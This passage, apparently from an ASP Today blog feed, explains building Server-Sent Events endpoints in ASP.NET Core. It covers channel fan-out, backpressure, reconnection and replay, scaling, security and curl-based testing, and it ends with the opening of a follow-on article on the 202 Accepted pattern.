        Channel&lt;ProgressEvent&gt;&gt; _subscribers = new();

    public (
        Guid SubscriptionId,
        ChannelReader&lt;ProgressEvent&gt; Reader)
        Subscribe()
    {
        var id = Guid.NewGuid();

        var channel =
            Channel.CreateUnbounded&lt;ProgressEvent&gt;();

        _subscribers[id] = channel;

        return (id, channel.Reader);
    }

    public void Unsubscribe(Guid id)
    {
        if (_subscribers.TryRemove(
            id,
            out var channel))
        {
            channel.Writer.TryComplete();
        }
    }

    public async Task PublishAsync(
        ProgressEvent progressEvent)
    {
        foreach (var channel in _subscribers.Values)
        {
            await channel.Writer.WriteAsync(
                progressEvent);
        }
    }
}</code></code></pre><p>This example illustrates fan-out to multiple subscribers.</p><p>Every subscriber gets its own channel.</p><p>That&#8217;s important because a single channel with multiple readers typically distributes messages among readers rather than broadcasting each message to everyone.</p><p>However, this demonstration has limitations.</p><p>It broadcasts all events to all subscribers, uses unbounded buffers, and stores subscriptions only in memory.</p><p>Those characteristics make it unsuitable as a production implementation.</p><p>For real systems, subscribers should receive only authorized operation events, buffers should be bounded, and slow consumers need an explicit handling policy.</p><h2>Connecting the Event Hub to an SSE Endpoint</h2><p>Register the hub:</p><pre><code><code>builder.Services.AddSingleton&lt;ProgressEventHub&gt;();</code></code></pre><p>Now expose an SSE endpoint:</p><pre><code><code>using System.Text.Json;

app.MapGet("/api/progress/events", async (
    HttpContext context,
    ProgressEventHub hub,
    CancellationToken cancellationToken) =&gt;
{
    context.Response.ContentType =
        "text/event-stream";

    context.Response.Headers.CacheControl =
        "no-cache";

    var subscription = hub.Subscribe();

    try
    {
        await foreach (
            var progressEvent in
                subscription.Reader.ReadAllAsync(
                    cancellationToken))
        {
            var json =
                JsonSerializer.Serialize(progressEvent);

            await context.Response.WriteAsync(
                $"event: progress\ndata: {json}\n\n",
                cancellationToken);

            await context.Response.Body.FlushAsync(
                cancellationToken);
        }
    }
    catch (OperationCanceledException)
        when (cancellationToken.IsCancellationRequested)
    {
        // Client disconnected.
    }
    finally
    {
        hub.Unsubscribe(
            subscription.SubscriptionId);
    }
});</code></code></pre><p>A background worker can call <code>PublishAsync</code> whenever the report&#8217;s progress changes.</p><p>Connected clients receive the update.</p><p>The code demonstrates the mechanics of in-process fan-out, not a complete production report-streaming system.</p><p>In particular, a production endpoint should scope subscriptions to a specific authorized operation and avoid exposing events belonging to other users.</p><h2>Why Unbounded Channels Are Dangerous</h2><p>In our example, each subscriber has an unbounded channel.</p><p>This makes the demonstration straightforward because publishers don&#8217;t need to wait for capacity.</p><p>But imagine a browser connected through a very slow network.</p><p>The worker publishes 100 events per second.</p><p>The client can consume only 10 events per second.</p><p>The backlog grows continuously.</p><p>Eventually, the server may hold thousands of pending events for that client.</p><p>With enough slow clients, memory usage can become a serious problem.</p><p>This is where backpressure becomes important.</p><p>Our earlier ASP Today article on <em><a href="https://www.asptoday.com/p/designing-backpressure-in-aspnet">Designing Backpressure in ASP.NET Core</a></em> explored why incoming work must be controlled when processing capacity is limited.</p><p>The same principle applies to SSE.</p><p>A server should not accumulate unlimited events for clients that cannot keep up.</p><h2>Bounded Buffers and Slow Consumers</h2><p>A bounded channel limits how many events can wait in memory.</p><p>For example:</p><pre><code><code>var channel =
    Channel.CreateBounded&lt;ProgressEvent&gt;(
        new BoundedChannelOptions(100)
        {
            FullMode =
                BoundedChannelFullMode.Wait,
            SingleReader = true,
            SingleWriter = false
        });</code></code></pre><p>With <code>Wait</code>, producers can experience backpressure when the channel reaches capacity.</p><p>That may be appropriate for some event pipelines.</p><p>However, allowing one slow SSE subscriber to block a shared publisher can delay every other subscriber.</p><p>For progress notifications, it may be acceptable to discard intermediate updates.</p><p>For example, if a report has progressed from 41 percent to 72 percent, the browser may not need every percentage in between.</p><p>A bounded buffer with a documented coalescing or drop policy can be appropriate.</p><p>For audit events, financial transactions, or other information that must not be lost, dropping messages is unacceptable.</p><p>Those events need durable storage and a separate replay mechanism.</p><p>The right buffering strategy depends on the meaning of the data.</p><h2>Handling Client Disconnections</h2><p>An SSE connection may end for many reasons.</p><p>The user closes the browser.</p><p>The device loses connectivity.</p><p>A reverse proxy closes an idle connection.</p><p>The server restarts.</p><p>The client navigates to another page.</p><p>ASP.NET Core exposes request cancellation through <code>HttpContext.RequestAborted</code>, which can be received as the endpoint&#8217;s <code>CancellationToken</code>.</p><p>A streaming endpoint should observe this token during writes, flushes, and waits.</p><p>When the request is cancelled, the endpoint should release its subscription and any associated resources.</p><p>This is why the earlier example uses a <code>finally</code> block.</p><p>Without cleanup, an application can accumulate subscriptions that no longer have active clients.</p><p>Over time, those stale subscriptions may waste memory and processing capacity.</p><h2>Automatic Reconnection With EventSource</h2><p>One of the most useful browser features of SSE is automatic reconnection.</p><p>Suppose a dashboard receives live updates.</p><p>The network connection drops for a few seconds.</p><p>With native <code>EventSource</code>, the browser generally attempts to reconnect without requiring the application to create a new connection manually.</p><p>The server can suggest a delay:</p><pre><code><code>retry: 5000</code></code></pre><p>This tells the browser to use a five-second reconnection delay.</p><p>But reconnection alone does not guarantee that the client receives events published during the interruption.</p><p>That requires event identification and replay support.</p><h2>Event IDs and Last-Event-ID</h2><p>SSE supports event identifiers.</p><p>Consider:</p><pre><code><code>id: 101
event: progress
data: {"progress":40}

id: 102
event: progress
data: {"progress":60}

id: 103
event: progress
data: {"progress":80}</code></code></pre><p>The browser remembers the last event ID it processed.</p><p>If the connection drops after event 102, a reconnecting native <code>EventSource</code> can include:</p><pre><code><code>Last-Event-ID: 102</code></code></pre><p>The server can use that value to determine which events the client missed.</p><p>This is an important distinction.</p><p>The browser helps track the last event ID, but the server must implement replay.</p><p>Simply adding <code>id:</code> fields does not make an event stream durable.</p><p>If events exist only in an in-memory channel, they may already be gone when the client reconnects.</p><h2>Designing Durable Event Replay</h2><p>For systems where missed events matter, store events durably.</p><p>A simple event table might look like this:</p><pre><code><code>CREATE TABLE OperationEvents
(
    EventId BIGINT IDENTITY(1,1) PRIMARY KEY,
    OperationId UNIQUEIDENTIFIER NOT NULL,
    EventType NVARCHAR(100) NOT NULL,
    Payload NVARCHAR(MAX) NOT NULL,
    CreatedAt DATETIME2 NOT NULL
);</code></code></pre><p>This example uses SQL Server syntax.</p><p>Each published event receives a stable identifier.</p><p>When a client reconnects with <code>Last-Event-ID</code>, the server can retrieve later events.</p><p>For example:</p><pre><code><code>SELECT EventId,
       EventType,
       Payload
FROM OperationEvents
WHERE OperationId = @OperationId
  AND EventId &gt; @LastEventId
ORDER BY EventId;</code></code></pre><p>This gives the server a way to replay missed events.</p><p>However, a production implementation needs to consider concurrent event insertion, transaction commit ordering, event retention, and the transition from replaying stored events to receiving live events.</p><p>A database identity value does not automatically guarantee that transactions commit in the same order as their allocated IDs.</p><p>If strict replay ordering matters, the application must design an ordering and cursor mechanism that respects its consistency guarantees.</p><h2>Avoiding Gaps Between Replay and Live Streaming</h2><p>A subtle race condition appears when an SSE endpoint combines database replay with live subscriptions.</p><p>Imagine the following sequence.</p><p>The client reconnects.</p><p>The server queries stored events.</p><p>The query finishes.</p><p>A new event is published.</p><p>The server then subscribes to live events.</p><p>The event published between the query and subscription may be missed.</p><p>A reliable design must close this gap.</p><p>One approach is to establish the live subscription before replay, then reconcile incoming events against a durable cursor.</p><p>Another approach uses a single durable event source that supports ordered reads and continuous consumption.</p><p>Either way, the server must prevent gaps and duplicates from confusing clients.</p><p>For many dashboards, retrieving a fresh snapshot after reconnection is simpler than replaying every intermediate update.</p><p>The correct choice depends on whether the client needs the latest state or the complete event history.</p><h2>State Snapshots Versus Event Replay</h2><p>Consider a dashboard displaying current CPU utilization.</p><p>The client disconnects for 30 seconds.</p><p>During that period, the server publishes 100 readings.</p><p>When the client reconnects, does it need all 100?</p><p>Probably not.</p><p>A fresh reading may be enough.</p><p>Now consider a financial event stream where each event represents a transaction.</p><p>Missing an event could produce an incorrect balance or incomplete audit history.</p><p>In that case, replay is important.</p><p>This leads to a useful design principle.</p><p>Use state snapshots when clients primarily need the latest value. Use durable replay when clients must observe every meaningful event.</p><p>Some applications need both.</p><p>They may retrieve a snapshot, then continue consuming events from a known cursor.</p><h2>Heartbeats and Idle Connections</h2><p>Some SSE streams publish events continuously.</p><p>Others may remain quiet for several minutes.</p><p>A quiet connection can be mistaken for an abandoned connection by proxies or other infrastructure.</p><p>A server can send periodic comments:</p><pre><code><code>: heartbeat</code></code></pre><p>The browser ignores the comment as an application event.</p><p>But the bytes travel over the existing HTTP response.</p><p>A heartbeat loop might send a comment every 15 or 30 seconds, depending on infrastructure requirements.</p><p>The interval should be chosen based on measured proxy and network behavior rather than an arbitrary universal rule.</p><p>Also remember that heartbeats do not make a connection immortal.</p><p>Mobile networks, browser lifecycle changes, server restarts, and infrastructure limits can still interrupt streams.</p><p>Reconnection must remain part of the design.</p><h2>SSE and HTTP/2</h2><p>SSE works over ordinary HTTP, including HTTP/1.1 and HTTP/2.</p><p>HTTP/2 is particularly useful when a browser needs several concurrent streams to the same origin.</p><p>Under HTTP/1.1, browsers typically impose relatively small per-origin connection limits.</p><p>Multiple SSE connections can consume those available connections and interfere with other requests.</p><p>HTTP/2 multiplexes multiple streams over a connection and generally provides more flexibility, although concurrent stream limits still apply.</p><p>This doesn&#8217;t mean every application should open dozens of SSE connections.</p><p>A single stream carrying multiple named event types is often more efficient.</p><p>For example:</p><pre><code><code>event: notification
data: {"message":"New order received"}

event: metric
data: {"cpu":42}

event: alert
data: {"severity":"warning"}</code></code></pre><p>The browser can register separate listeners for each event type.</p><p>This reduces unnecessary connection overhead.</p><h2>Scaling SSE Across Multiple ASP.NET Core Instances</h2><p>Our earlier event hub stores subscribers in application memory.</p><p>That works when the application runs as one process.</p><p>But production ASP.NET Core applications often run across multiple instances.</p><p>Suppose we have three API servers.</p><p>A browser connects to Server A.</p><p>A background worker publishes an event through Server B.</p><p>If subscriptions exist only in Server A&#8217;s memory, Server B cannot directly deliver the event to that browser.</p><p>The event needs a shared distribution mechanism.</p><p>A common architecture looks like this:</p><pre><code><code>                 Event producer
                       |
                       v
               Shared event broker
                 /     |      \
                v      v       v
            API A    API B    API C
              |        |        |
              v        v        v
           Clients   Clients   Clients</code></code></pre><p>Each API instance subscribes to relevant events from a shared broker.</p><p>It then forwards those events to its connected SSE clients.</p><p>Possible distribution technologies include Redis Pub/Sub, message brokers, and durable event streams.</p><p>The correct choice depends on delivery guarantees.</p><p>Redis Pub/Sub is useful for transient notifications, but it does not provide durable replay for disconnected subscribers.</p><p>Durable event-stream systems are more appropriate when missed events must be recoverable.</p><h2>Sticky Sessions Are Not a Complete Solution</h2><p>Some deployments use session affinity to keep a client connected to the same application instance.</p><p>This can reduce certain routing complications.</p><p>But sticky sessions do not solve event distribution across instances.</p><p>If a worker publishes an event on another server, the connected instance still needs access to that event.</p><p>Session affinity also doesn&#8217;t protect against server failure.</p><p>A resilient SSE architecture should assume that clients can reconnect to different instances.</p><p>Shared state and event distribution are more reliable foundations than depending entirely on connection affinity.</p><h2>Security for SSE Endpoints</h2><p>SSE endpoints can expose sensitive information.</p><p>An operation stream may reveal customer names, transaction status, processing errors, or business activity.</p><p>Authentication and authorization must be enforced before streaming begins.</p><p>For example:</p><pre><code><code>app.MapGet(
    "/api/operations/{id:guid}/events",
    async (
        Guid id,
        HttpContext context,
        CancellationToken cancellationToken) =&gt;
    {
        // Verify the authenticated user can access
        // this operation before opening the stream.

        context.Response.ContentType =
            "text/event-stream";

        // Stream only authorized events.
    })
    .RequireAuthorization();</code></code></pre><p>The authorization policy should verify ownership or tenant access, not merely whether the caller is logged in.</p><p>For long-lived connections, also consider what happens when credentials expire or access is revoked.</p><p>Authorization checked at connection establishment may not be sufficient for every security model.</p><p>Applications with strict revocation requirements may need periodic authorization checks or forced connection termination.</p><h2>CORS and Cross-Origin SSE</h2><p>If a frontend and API are hosted on different origins, CORS configuration matters.</p><p>For example:</p><pre><code><code>Frontend:
https://app.example.com

API:
https://api.example.com</code></code></pre><p>The browser must be permitted to open the cross-origin stream.</p><p>A named CORS policy might look like this:</p><pre><code><code>builder.Services.AddCors(options =&gt;
{
    options.AddPolicy("Frontend", policy =&gt;
    {
        policy.WithOrigins(
                "https://app.example.com")
              .AllowCredentials()
              .AllowAnyHeader()
              .WithMethods("GET");
    });
});</code></code></pre><p>Apply the policy to the SSE endpoint:</p><pre><code><code>app.MapGet("/api/events", /* handler */)
   .RequireCors("Frontend");</code></code></pre><p>This is an illustrative configuration. A complete application must register and apply CORS middleware in the appropriate pipeline order.</p><p>When credentials are allowed, use explicit trusted origins rather than a wildcard origin.</p><p>CORS is a browser security mechanism. It does not replace authentication or authorization.</p><h2>Avoiding Sensitive Information in Event Payloads</h2><p>SSE messages are delivered as text.</p><p>That makes them easy to inspect during development.</p><p>It also means applications must be careful about what they publish.</p><p>Do not expose access tokens, secrets, internal exception traces, or confidential database details.</p><p>For example, a failed report operation might publish:</p><pre><code><code>{
  "status": "failed",
  "errorCode": "REPORT_GENERATION_FAILED",
  "message": "The report could not be generated."
}</code></code></pre><p>The server can retain detailed exception information in protected logs.</p><p>The client receives a safe, useful error message.</p><p>The same principle applies to multi-tenant event streams.</p><p>Every event must be routed only to authorized subscribers.</p><h2>What Happens When a Proxy Buffers SSE?</h2><p>A common production problem occurs when an SSE endpoint works locally but behaves strangely after deployment.</p><p>The browser connects successfully.</p><p>The server writes events.</p><p>But the browser receives nothing for several seconds.</p><p>Then multiple events arrive together.</p><p>This often indicates buffering somewhere between the application and the client.</p><p>Reverse proxies, gateways, and CDNs may buffer responses depending on their configuration.</p><p>For SSE endpoints, buffering generally needs to be disabled or adjusted so events can flow promptly.</p><p>Timeout settings also matter.</p><p>A proxy may close a connection that remains idle beyond a configured threshold.</p><p>The application must be tested through the same infrastructure used in production.</p><p>Successful localhost testing is not enough.</p><h2>Managing Connection Lifetimes</h2><p>Each SSE client maintains a long-lived HTTP response.</p><p>ASP.NET Core can handle asynchronous connections efficiently, but they are not free.</p><p>Every active stream consumes some combination of memory, connection state, network resources, and application bookkeeping.</p><p>At small scale, this is usually manageable.</p><p>At large scale, connection count becomes an important operational metric.</p><p>Consider 50,000 simultaneously connected clients.</p><p>Even if each client receives only one event per minute, the infrastructure must maintain those connections.</p><p>A production system should monitor active SSE connections, disconnect rates, reconnection frequency, outgoing event volume, slow consumers, and per-instance resource utilization.</p><p>It should also define limits for maximum connections per user or tenant when appropriate.</p><h2>Graceful Shutdown for SSE Connections</h2><p>During deployment, an ASP.NET Core instance may need to stop.</p><p>Existing SSE connections should not prevent the application from shutting down indefinitely.</p><p>The application can stop accepting new connections, allow a reasonable drain period, and close existing streams.</p><p>Browsers using <code>EventSource</code> will generally attempt to reconnect.</p><p>The next connection may reach a different application instance.</p><p>This is another reason durable operation state and replay mechanisms matter.</p><p>Our earlier discussion of Graceful Shutdown and Application Lifecycle in ASP.NET Core applies directly to long-lived SSE connections.</p><p>A graceful shutdown improves behavior during planned deployments.</p><p>But clients must still tolerate abrupt disconnections caused by crashes or infrastructure failures.</p><h2>Observability for SSE</h2><p>In our previous guide on <em><a href="https://www.asptoday.com/p/deep-dive-into-distributed-tracing">Distributed Tracing with OpenTelemetry in ASP.NET Core</a></em>, we explored how tracing and telemetry help developers understand activity across distributed systems. These techniques are equally valuable for SSE, where long-lived connections, event delivery delays, and reconnection behavior require visibility beyond traditional HTTP request metrics.</p><p>Monitoring SSE requires different measurements from ordinary HTTP endpoints.</p><p>A traditional API request may complete in 50 milliseconds.</p><p>An SSE request may remain open for 30 minutes.</p><p>Treating that duration as an ordinary slow request would be misleading.</p><p>Instead, measure the stream&#8217;s behavior.</p><p>Useful metrics include active connections, connection duration, events delivered per second, event delivery delay, reconnect frequency, failed writes, buffer utilization, and dropped or coalesced updates.</p><p>For durable streams, measure replay lag and event retention gaps.</p><p>For operation-progress streams, correlate the SSE subscription with the underlying operation ID.</p><p>This makes it possible to distinguish a slow background job from a broken event-delivery connection.</p><h2>Testing SSE Endpoints</h2><p>SSE endpoints need more than ordinary HTTP status-code tests.</p><p>First, verify the response headers.</p><p>The endpoint should return the expected <code>text/event-stream</code> content type.</p><p>Then verify event framing.</p><p>Each event must follow the expected field syntax and end with a blank line.</p><p>Test named events, event IDs, and JSON payloads.</p><p>Next, test connection behavior.</p><p>Disconnect the client while events are being published.</p><p>Verify that the server releases the subscription.</p><p>Reconnect with a <code>Last-Event-ID</code> header.</p><p>Verify that the replay mechanism returns the correct events when replay is supported.</p><p>Test slow consumers and buffer limits.</p><p>Test authorization with users who should not access a particular operation.</p><p>Finally, test through the actual reverse proxy or gateway configuration.</p><p>A stream that works in an integration test may still be delayed by production buffering.</p><h2>Testing With curl</h2><p>One of the simplest SSE debugging tools is curl.</p><pre><code><code>curl -N \
  -H "Accept: text/event-stream" \
  http://localhost:5000/api/events</code></code></pre><p>You can inspect events as they arrive.</p><p>To simulate reconnection with a previous event ID:</p><pre><code><code>curl -N \
  -H "Accept: text/event-stream" \
  -H "Last-Event-ID: 102" \
  http://localhost:5000/api/events</code></code></pre><p>The second command is meaningful only if the server implements event replay.</p><p>You can also use browser developer tools to inspect the network request and event stream.</p><p>For advanced testing, write an HTTP client that reads the response incrementally rather than waiting for the entire body.</p><h2>SSE in Modern ASP.NET Core</h2><p>For teams targeting modern .NET versions, ASP.NET Core has evolved beyond manually writing event-stream text.</p><p>ASP.NET Core in .NET 10 includes built-in SSE support through <code>TypedResults.ServerSentEvents</code>, which can stream asynchronous sequences of <code>SseItem&lt;T&gt;</code> values.</p><p>A simplified example is:</p><pre><code><code>using System.Runtime.CompilerServices;
using Microsoft.AspNetCore.Http;

app.MapGet("/api/live", () =&gt;
{
    return TypedResults.ServerSentEvents(
        GetEvents());
});

static async IAsyncEnumerable&lt;SseItem&lt;string&gt;&gt;
    GetEvents(
        [EnumeratorCancellation]
        CancellationToken cancellationToken = default)
{
    var counter = 0;

    while (!cancellationToken.IsCancellationRequested)
    {
        yield return new SseItem&lt;string&gt;(
            $"Update {++counter}",
            "message");

        await Task.Delay(
            TimeSpan.FromSeconds(1),
            cancellationToken);
    }
}</code></code></pre><p>This demonstrates the higher-level API. The framework handles SSE formatting and response behavior, while the application supplies the event sequence.</p><p>Exact overloads and cancellation integration should be checked against the target .NET version.</p><p>For teams using earlier ASP.NET Core versions, manually streaming <code>text/event-stream</code> remains a practical option.</p><p>The architecture principles remain the same regardless of which API writes the event frames.</p><h2>A Practical Production Architecture</h2><p>Let&#8217;s combine everything into one realistic system.</p><p>Imagine a SaaS platform that generates reports, processes imports, and monitors background jobs.</p><p>The application has multiple ASP.NET Core API instances.</p><p>Background workers process jobs independently.</p><p>A durable database stores operation state.</p><p>A message broker distributes processing commands and progress notifications.</p><p>An event service forwards relevant notifications to connected SSE clients.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!zK_U!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!zK_U!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png 424w, https://substackcdn.com/image/fetch/$s_!zK_U!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png 848w, https://substackcdn.com/image/fetch/$s_!zK_U!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png 1272w, https://substackcdn.com/image/fetch/$s_!zK_U!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png 1456w" sizes="auto, 100vw"><img src="https://substackcdn.com/image/fetch/$s_!zK_U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png" width="630" height="755" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:755,&quot;width&quot;:630,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:54679,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.asptoday.com/i/222293333?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!zK_U!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png 424w, https://substackcdn.com/image/fetch/$s_!zK_U!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png 848w, https://substackcdn.com/image/fetch/$s_!zK_U!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png 1272w, https://substackcdn.com/image/fetch/$s_!zK_U!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F569ce268-75da-4bd4-9ba9-86b385aefe5f_630x755.png 1456w" sizes="auto, 100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button class="pencraft pc-reset pencraft icon-container restack-image buttonBase-tqxFUX" tabindex="0" type="button"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button class="pencraft pc-reset pencraft icon-container view-image buttonBase-tqxFUX" tabindex="0" type="button"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>A production SSE architecture separates durable job processing from live event delivery.</p><p>The browser submits work using an ordinary HTTP request.</p><p>The API accepts the operation and stores it durably.</p><p>Workers process the job.</p><p>Progress updates are persisted or published according to the application&#8217;s delivery guarantees.</p><p>The SSE layer delivers updates to connected clients.</p><p>If the browser disconnects, the job continues.</p><p>If the browser reconnects, it can retrieve current state or replay missed events.</p><p>If one API instance fails, another can serve the client using shared infrastructure.</p><p>This is the difference between a simple demonstration and a resilient real-time system.</p><h2>Common Mistakes to Avoid</h2><p>One common mistake is treating SSE as a replacement for every real-time communication technology.</p><p>SSE is excellent for server-to-client updates, but it is not a bidirectional messaging protocol.</p><p>Another mistake is assuming automatic reconnection guarantees that no events will be lost. It doesn&#8217;t. Replay requires server-side support.</p><p>Developers also sometimes use a single channel with multiple readers and expect every client to receive every event. In a normal channel, readers compete for messages rather than receiving independent copies.</p><p>Unbounded subscriber buffers can cause memory growth when clients are slow.</p><p>Missing cancellation handling can leave abandoned subscriptions.</p><p>Incorrect proxy configuration can delay events or terminate connections.</p><p>A production deployment may also fail when subscriptions are stored only in memory and the application scales across multiple instances.</p><p>Finally, developers sometimes stream sensitive information without verifying that each subscriber is authorized to receive it.</p><p>These mistakes are avoidable when event delivery, durability, security, and connection management are treated as separate design concerns.</p><h2>When Should You Choose SSE?</h2><p>SSE is a strong choice when the application needs to send continuous or occasional updates from the server to a browser.</p><p>Examples include background-job progress, live analytics dashboards, operational monitoring, order status changes, notifications, stock-price displays, and activity feeds.</p><p>It is particularly attractive when the frontend already uses HTTP APIs and doesn&#8217;t require continuous two-way messaging.</p><p>For infrequent updates, ordinary polling may still be simpler.</p><p>For interactive chat, collaborative editing, multiplayer experiences, or other bidirectional workflows, SignalR or WebSockets may be more appropriate.</p><p>For critical events that must survive disconnections, SSE should be paired with durable storage and replay.</p><p>The transport is only one part of the architecture.</p><h2>Coming Next</h2><p>In our next article, we&#8217;ll explore <strong>Building Backend-for-Frontend APIs with ASP.NET Core: APIs Designed for Web, Mobile, and Devices.</strong></p><p>Modern applications often serve multiple types of clients.</p><p>A desktop browser may need detailed data and rich interactions.</p><p>A mobile application may require smaller responses and fewer network requests.</p><p>An IoT device may need compact, purpose-built endpoints.</p><p>Trying to serve every client through the same general-purpose API can create unnecessary complexity.</p><p>We&#8217;ll explore how Backend-for-Frontend (BFF) architectures solve this problem by introducing client-specific API layers, improving data aggregation, authentication boundaries, response shaping, and overall application performance.</p><h2>Closing Thoughts</h2><p>Server-Sent Events offer a straightforward way to make ASP.NET Core applications feel more responsive.</p><p>Instead of asking the server repeatedly whether something has changed, clients can open a stream and receive updates as they happen.</p><p>The protocol is simple.</p><p>It uses standard HTTP.</p><p>Browsers provide native support through <code>EventSource</code>.</p><p>Named events, event IDs, reconnection hints, and heartbeats provide useful building blocks for real-time delivery.</p><p>But production reliability requires more than opening a streaming connection.</p><p>Applications must handle disconnections, manage slow consumers, secure subscriptions, configure proxies, distribute events across multiple instances, and decide whether missed events need replay.</p><p>For long-running operations, SSE works particularly well alongside the HTTP 202 Accepted pattern.</p><p>The API accepts work.</p><p>A background worker processes it.</p><p>SSE keeps the user informed.</p><p>The operation&#8217;s durable state remains available even when the stream disconnects.</p><p>The real value of SSE is not simply that updates arrive instantly. It is that applications can deliver timely information without forcing clients to repeatedly ask for it.</p><p>Used in the right architecture, Server-Sent Events provide a lightweight, efficient, and maintainable foundation for real-time experiences in ASP.NET Core.</p><h2>Subscribe Now</h2><p>Building modern ASP.NET Core applications requires more than writing endpoints. It means understanding how applications communicate, scale, recover, and deliver reliable experiences to users.</p><p><em><a href="https://www.asptoday.com/">Subscribe to ASP Today</a></em> for practical .NET tutorials, production architecture guides, and advanced development strategies.</p><p>Join our Substack Chat to discuss Server-Sent Events, real-time streaming, background processing, SignalR, and the challenges of building scalable ASP.NET Core applications. </p><p><strong>Subscribe now and follow the series as we continue building better, faster, and more reliable .NET applications</strong>. </p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.asptoday.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.asptoday.com/subscribe?"><span>Subscribe now</span></a></p><p></p>]]></content:encoded></item><item><title><![CDATA[Building Asynchronous APIs in ASP.NET Core: Long-Running Operations and the 202 Accepted Pattern]]></title><description><![CDATA[Build reliable long-running APIs with HTTP 202, background workers, and job tracking. #ASPToday #aspnetcore #dotnet #webapi]]></description><link>https://www.asptoday.com/p/building-asynchronous-apis-in-aspnet</link><guid isPermaLink="false">https://www.asptoday.com/p/building-asynchronous-apis-in-aspnet</guid><dc:creator><![CDATA[Jenny Muralidharan]]></dc:creator><pubDate>Tue, 20 Oct 2026 15:01:15 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!Avgq!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ffac75406-6ec9-47de-811c-919b9ce5f2e7_1672x941.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Not every API operation can finish in a few milliseconds. Generating a large report, processing thousands of records, converting a video, importing customer data, or running a complex analytics job may take several minutes. Keeping an HTTP connection open throughout that process creates unnecessary timeouts, consumes resources, and makes failure recovery difficult. </p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" 